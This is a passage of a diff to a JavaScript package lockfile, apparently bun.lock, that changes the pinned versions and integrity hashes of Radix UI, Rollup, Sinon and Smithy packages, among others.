"@radix-ui/react-primitive": "1.0.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-wSP+pHsB/jQRaL6voubsQ/ZlrGBHHrOjmBnr19hxYgtS0WvAFwZhK2WP/YY5yF9uKECCEEDGxuLxq1NBK51wFA=="], @@ -1561,17 +1671,17 @@ "@radix-ui/react-context": ["@radix-ui/react-context@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA=="], - "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-focus-guards": "1.1.3", "@radix-ui/react-focus-scope": "1.1.7", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-use-controllable-state": "1.2.2", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.6.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw=="], + "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.0", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-context": "1.0.0", "@radix-ui/react-dismissable-layer": "1.0.2", "@radix-ui/react-focus-guards": "1.0.0", "@radix-ui/react-focus-scope": "1.0.1", "@radix-ui/react-id": "1.0.0", "@radix-ui/react-portal": "1.0.1", "@radix-ui/react-presence": "1.0.0", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-slot": "1.0.1", "@radix-ui/react-use-controllable-state": "1.0.0", "aria-hidden": "^1.1.1", "react-remove-scroll": "2.5.5" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-EKxxp2WNSmUPkx4trtWNmZ4/vAYEg7JkAfa1HKBUnaubw9eHzf1Orr9B472lJYaYz327RHDrd4R95fsw7VR8DA=="], "@radix-ui/react-direction": ["@radix-ui/react-direction@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw=="], - "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.1.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-escape-keydown": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg=="], + "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.0", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-use-callback-ref": "1.0.0", "@radix-ui/react-use-escape-keydown": "1.0.2" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-WjJzMrTWROozDqLB0uRWYvj4UuXsM/2L19EmQ3Au+IJWqwvwq9Bwd+P8ivo0Deg9JDPArR1I6MbWNi1CmXsskg=="], "@radix-ui/react-dropdown-menu": ["@radix-ui/react-dropdown-menu@2.1.1", "", { "dependencies": { "@radix-ui/primitive": "1.1.0", "@radix-ui/react-compose-refs": "1.1.0", "@radix-ui/react-context": "1.1.0", "@radix-ui/react-id": "1.1.0", "@radix-ui/react-menu": "2.1.1", "@radix-ui/react-primitive": "2.0.0", "@radix-ui/react-use-controllable-state": "1.1.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-y8E+x9fBq9qvteD2Zwa4397pUVhYsh9iq44b5RD5qu1GMJWBCBuVg1hMyItbc6+zH00TxGRqd9Iot4wzf3OoBQ=="], - "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw=="], + "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-UagjDk4ijOAnGu4WMUPj9ahi7/zJJqNZ9ZAiGPp7waUWJO0O1aWXi/udPphI0IUjvrhBsZJGSN66dR2dsueLWQ=="], - "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw=="], + "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-use-callback-ref": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-Ej2MQTit8IWJiS2uuujGUmxXjF/y5xZptIIQnyd2JHLwtV0R2j9NRVoRj/1j/gJ7e3REdaBw4Hjf4a1ImhkZcQ=="], "@radix-ui/react-hover-card": ["@radix-ui/react-hover-card@1.0.7", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.1", "@radix-ui/react-compose-refs": "1.0.1", "@radix-ui/react-context": "1.0.1", "@radix-ui/react-dismissable-layer": "1.0.5", "@radix-ui/react-popper": "1.1.3", "@radix-ui/react-portal": "1.0.4", "@radix-ui/react-presence": "1.0.1", "@radix-ui/react-primitive": "1.0.3", "@radix-ui/react-use-controllable-state": "1.0.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-OcUN2FU0YpmajD/qkph3XzMcK/NmSk9hGWnjV68p6QiZMgILugusgQwnLSDs3oFSJYGKf3Y49zgFedhGh04k9A=="], @@ -1587,7 +1697,7 @@ "@radix-ui/react-popper": ["@radix-ui/react-popper@1.1.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.0.3", "@radix-ui/react-compose-refs": "1.0.1", "@radix-ui/react-context": "1.0.1", "@radix-ui/react-primitive": "1.0.3", "@radix-ui/react-use-callback-ref": "1.0.1", "@radix-ui/react-use-layout-effect": "1.0.1", "@radix-ui/react-use-rect": "1.0.1", "@radix-ui/react-use-size": "1.0.1", "@radix-ui/rect": "1.0.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-cKpopj/5RHZWjrbF2846jBNacjQVwkP068DfmgrNJXpvVWrOvlAmE9xSiy5OqeE+Gi8D9fP+oDhUnPqNMY8/5w=="], - "@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.9", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ=="], + "@radix-ui/react-portal": ["@radix-ui/react-portal@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-primitive": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-NY2vUWI5WENgAT1nfC6JS7RU5xRYBfjZVLq0HmgEN1Ezy3rk/UruMV4+Rd0F40PEaFC5SrLS1ixYvcYIQrb4Ig=="], "@radix-ui/react-presence": ["@radix-ui/react-presence@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1", "@radix-ui/react-use-layout-effect": "1.0.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-UXLW4UAbIY5ZjcvzjfRFo5gxva8QirC9hF7wRE4U5gz+TP0DbRk+//qyuAQ1McDxBt1xNMBTaciFGvEmJvAZCg=="], @@ -1619,7 +1729,7 @@ "@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA=="], - "@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.1.1", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g=="], + "@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-DXGim3x74WgUv+iMNCF+cAo8xUHHeqvjx8zs7trKf+FkQKPQXLk2sX7Gx1ysH7Q76xCpZuxIJE7HLPxRE+Q+GA=="], "@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], @@ -1673,7 +1783,7 @@ "@redis/client": ["@redis/client@1.6.0", "", { "dependencies": { "cluster-key-slot": "1.1.2", "generic-pool": "3.9.0", "yallist": "4.0.0" } }, "sha512-aR0uffYI700OEEH4gYnitAnv3vzVGXCFvYfdpu/CJKvk4pHfLPEy/JSZyrpQ+15WhXe1yJRXLtfQ84s4mEXnPg=="], - "@remix-run/router": ["@remix-run/router@1.15.0", "", {}, "sha512-HOil5aFtme37dVQTB6M34G95kPM3MMuqSmIRVCC52eKV+Y/tGSqw9P3rWhlAx6A+mz+MoX+XxsGsNJbaI5qCgQ=="], + "@remix-run/router": ["@remix-run/router@1.23.2", "", {}, "sha512-Ic6m2U/rMjTkhERIa/0ZtXJP17QUi2CbWE7cqx4J58M8aA3QTfW+2UlQ4psvTX9IO1RfNVhK3pcpdjej7L+t2w=="], "@remote-dom/core": ["@remote-dom/core@1.9.0", "", { "dependencies": { "@remote-dom/polyfill": "^1.4.4", "htm": "^3.1.1" }, "peerDependencies": { "@preact/signals-core": "^1.3.0" } }, "sha512-h8OO2NRns2paXO/q5hkfXrwlZKq7oKj9XedGosi7J8OP3+aW7N2Gv4MBBVVQGCfOiZPkOj5m3sQH7FdyUWl7PQ=="], @@ -1681,6 +1791,8 @@ "@remote-dom/react": ["@remote-dom/react@1.2.2", "", { "dependencies": { "@remote-dom/core": "^1.7.0", "@types/react": "^18.0.0", "htm": "^3.1.1" }, "peerDependencies": { "react": "^17.0.0 || ^18.0.0" } }, "sha512-PkvioODONTr1M0StGDYsR4Ssf5M0Rd4+IlWVvVoK3Zrw8nr7+5mJkgNofaj/z7i8Aep78L28PCW8/WduUt4unA=="], + "@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.0-rc.3", "", {}, "sha512-eybk3TjzzzV97Dlj5c+XrBFW57eTNhzod66y9HrBlzJ6NsCrWCp/2kaPS3K9wJmurBC0Tdw4yPjXKZqlznim3Q=="], + "@rollup/plugin-alias": ["@rollup/plugin-alias@5.1.0", "", { "dependencies": { "slash": "^4.0.0" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" } }, "sha512-lpA3RZ9PdIG7qqhEfv79tBffNaoDuukFDrmhLqg9ifv99u/ehn+lOg30x2zmhf8AQqQUZaMk/B9fZraQ6/acDQ=="], "@rollup/plugin-babel": ["@rollup/plugin-babel@5.3.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.10.4", "@rollup/pluginutils": "^3.1.0" }, "peerDependencies": { "@babel/core": "^7.0.0", "@types/babel__core": "^7.1.9", "rollup": "^1.20.0||^2.0.0" } }, "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q=="], @@ -1721,10 +1833,18 @@ "@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.37.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-pfxLBMls+28Ey2enpX3JvjEjaJMBX5XlPCZNGxj4kdJyHduPBXtxYeb8alo0a7bqOoWZW2uKynhHxF/MWoHaGQ=="], + "@rollup/rollup-linux-loong64-gnu": ["@rollup/rollup-linux-loong64-gnu@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg=="], + + "@rollup/rollup-linux-loong64-musl": ["@rollup/rollup-linux-loong64-musl@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q=="], + "@rollup/rollup-linux-loongarch64-gnu": ["@rollup/rollup-linux-loongarch64-gnu@4.37.0", "", { "os": "linux", "cpu": "none" }, "sha512-yCE0NnutTC/7IGUq/PUHmoeZbIwq3KRh02e9SfFh7Vmc1Z7atuJRYWhRME5fKgT8aS20mwi1RyChA23qSyRGpA=="], "@rollup/rollup-linux-powerpc64le-gnu": ["@rollup/rollup-linux-powerpc64le-gnu@4.37.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-NxcICptHk06E2Lh3a4Pu+2PEdZ6ahNHuK7o6Np9zcWkrBMuv21j10SQDJW3C9Yf/A/P7cutWoC/DptNLVsZ0VQ=="], + "@rollup/rollup-linux-ppc64-gnu": ["@rollup/rollup-linux-ppc64-gnu@4.59.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA=="], + + "@rollup/rollup-linux-ppc64-musl": ["@rollup/rollup-linux-ppc64-musl@4.59.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA=="], + "@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.37.0", "", { "os": "linux", "cpu": "none" }, "sha512-PpWwHMPCVpFZLTfLq7EWJWvrmEuLdGn1GMYcm5MV7PaRgwCEYJAwiN94uBuZev0/J/hFIIJCsYw4nLmXA9J7Pw=="], "@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.37.0", "", { "os": "linux", "cpu": "none" }, "sha512-DTNwl6a3CfhGTAOYZ4KtYbdS8b+275LSLqJVJIrPa5/JuIufWWZ/QFvkxp52gpmguN95eujrM68ZG+zVxa8zHA=="], @@ -1735,121 +1855,129 @@ "@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.37.0", "", { "os": "linux", "cpu": "x64" }, "sha512-E2lPrLKE8sQbY/2bEkVTGDEk4/49UYRVWgj90MY8yPjpnGBQ+Xi1Qnr7b7UIWw1NOggdFQFOLZ8+5CzCiz143w=="], + "@rollup/rollup-openbsd-x64": ["@rollup/rollup-openbsd-x64@4.59.0", "", { "os": "openbsd", "cpu": "x64" }, "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ=="], + + "@rollup/rollup-openharmony-arm64": ["@rollup/rollup-openharmony-arm64@4.59.0", "", { "os": "none", "cpu": "arm64" }, "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA=="], + "@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.37.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-Jm7biMazjNzTU4PrQtr7VS8ibeys9Pn29/1bm4ph7CP2kf21950LgN+BaE2mJ1QujnvOc6p54eWWiVvn05SOBg=="], "@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.37.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-e3/1SFm1OjefWICB2Ucstg2dxYDkDTZGDYgwufcbsxTHyqQps1UQf33dFEChBNmeSsTOyrjw2JJq0zbG5GF6RA=="], + "@rollup/rollup-win32-x64-gnu": ["@rollup/rollup-win32-x64-gnu@4.59.0", "", { "os": "win32", "cpu": "x64" }, "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA=="], + "@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.37.0", "", { "os": "win32", "cpu": "x64" }, "sha512-LWbXUBwn/bcLx2sSsqy7pK5o+Nr+VCoRoAohfJ5C/aBio9nfJmGQqHAhU6pwxV/RmyTk5AqdySma7uwWGlmeuA=="], "@rtsao/scc": ["@rtsao/scc@1.1.0", "", {}, "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g=="], + "@scarf/scarf": ["@scarf/scarf@1.4.0", "", {}, "sha512-xxeapPiUXdZAE3che6f3xogoJPeZgig6omHEy1rIY5WVsB3H2BHNnZH+gHG6x91SCWyQCzWGsuL2Hh3ClO5/qQ=="], + "@sinclair/typebox": ["@sinclair/typebox@0.34.41", "", {}, "sha512-6gS8pZzSXdyRHTIqoqSVknxolr1kzfy4/CeDnrzsVz8TTIWUbOBr6gnzOmTYJ3eXQNh4IYHIGi5aIL7sOZ2G/g=="], "@sinonjs/commons": ["@sinonjs/commons@3.0.1", "", { "dependencies": { "type-detect": "4.0.8" } }, "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ=="], - "@sinonjs/fake-timers": ["@sinonjs/fake-timers@10.3.0", "", { "dependencies": { "@sinonjs/commons": "^3.0.0" } }, "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA=="], + "@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="], - "@smithy/abort-controller": ["@smithy/abort-controller@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-P7JD4J+wxHMpGxqIg6SHno2tPkZbBUBLbPpR5/T1DEUvw/mEaINBMaPFZNM7lA+ToSCZ36j6nMHa+5kej+fhGg=="], + "@smithy/abort-controller": ["@smithy/abort-controller@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-Hj4WoYWMJnSpM6/kchsm4bUNTL9XiSyhvoMb2KIq4VJzyDt7JpGHUZHkVNPZVC7YE1tf8tPeVauxpFBKGW4/KQ=="], - "@smithy/chunked-blob-reader": ["@smithy/chunked-blob-reader@5.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+sKqDBQqb036hh4NPaUiEkYFkTUGYzRsn3EuFhyfQfMy6oGHEUJDurLP9Ufb5dasr/XiAmPNMr6wa9afjQB+Gw=="], + "@smithy/chunked-blob-reader": ["@smithy/chunked-blob-reader@5.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-St+kVicSyayWQca+I1rGitaOEH6uKgE8IUWoYnnEX26SWdWQcL6LvMSD19Lg+vYHKdT9B2Zuu7rd3i6Wnyb/iw=="], - "@smithy/chunked-blob-reader-native": ["@smithy/chunked-blob-reader-native@4.0.0", "", { "dependencies": { "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-R9wM2yPmfEMsUmlMlIgSzOyICs0x9uu7UTHoccMyt7BWw8shcGM8HqB355+BZCPBcySvbTYMs62EgEQkNxz2ig=="], + "@smithy/chunked-blob-reader-native": ["@smithy/chunked-blob-reader-native@4.2.3", "", { "dependencies": { "@smithy/util-base64": "^4.3.2", "tslib": "^2.6.2" } }, "sha512-jA5k5Udn7Y5717L86h4EIv06wIr3xn8GM1qHRi/Nf31annXcXHJjBKvgztnbn2TxH3xWrPBfgwHsOwZf0UmQWw=="], - "@smithy/config-resolver": ["@smithy/config-resolver@4.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-Igfg8lKu3dRVkTSEm98QpZUvKEOa71jDX4vKRcvJVyRc3UgN3j7vFMf0s7xLQhYmKa8kyJGQgUJDOV5V3neVlQ=="], + "@smithy/config-resolver": ["@smithy/config-resolver@4.4.10", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-IRTkd6ps0ru+lTWnfnsbXzW80A8Od8p3pYiZnW98K2Hb20rqfsX7VTlfUwhrcOeSSy68Gn9WBofwPuw3e5CCsg=="], - "@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="], + "@smithy/core": ["@smithy/core@3.23.9", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.12", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-1Vcut4LEL9HZsdpI0vFiRYIsaoPwZLjAxnVQDUMQK8beMS+EYPLDQCXtbzfxmM5GzSgjfe2Q9M7WaXwIMQllyQ=="], "@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@3.2.0", "", { "dependencies": { "@smithy/node-config-provider": "^3.1.4", "@smithy/property-provider": "^3.1.3", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "tslib": "^2.6.2" } }, "sha512-0SCIzgd8LYZ9EJxUjLXBmEKSZR/P/w6l7Rz/pab9culE/RWuqelAKGJvn5qUOl8BgX8Yj5HWM50A5hiB/RzsgA=="], - "@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.6", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-OZfsI+YRG26XZik/jKMMg37acnBSbUiK/8nETW3uM3mLj+0tMmFXdHQw1e5WEd/IHN8BGOh3te91SNDe2o4RHg=="], + "@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.11", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-Sf39Ml0iVX+ba/bgMPxaXWAAFmHqYLTmbjAPfLPLY8CrYkRDEqZdUsKC1OwVMCdJXfAt0v4j49GIJ8DoSYAe6w=="], - "@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-d5T7ZS3J/r8P/PDjgmCcutmNxnSRvPH1U6iHeXjzI50sMr78GLmFcrczLw33Ap92oEKqa4CLrkAPeSSOqvGdUA=="], + "@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.11", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-3rEpo3G6f/nRS7fQDsZmxw/ius6rnlIpz4UX6FlALEzz8JoSxFmdBt0SZnthis+km7sQo6q5/3e+UJcuQivoXA=="], - "@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-lxfDT0UuSc1HqltOGsTEAlZ6H29gpfDSdEPTapD5G63RbnYToZ+ezjzdonCCH90j5tRRCw3aLXVbiZaBW3VRVg=="], + "@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-XeNIA8tcP/GDWnnKkO7qEm/bg0B/bP9lvIXZBXcGZwZ+VYM8h8k9wuDvUODtdQ2Wcp2RcBkPTCSMmaniVHrMlA=="], - "@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, 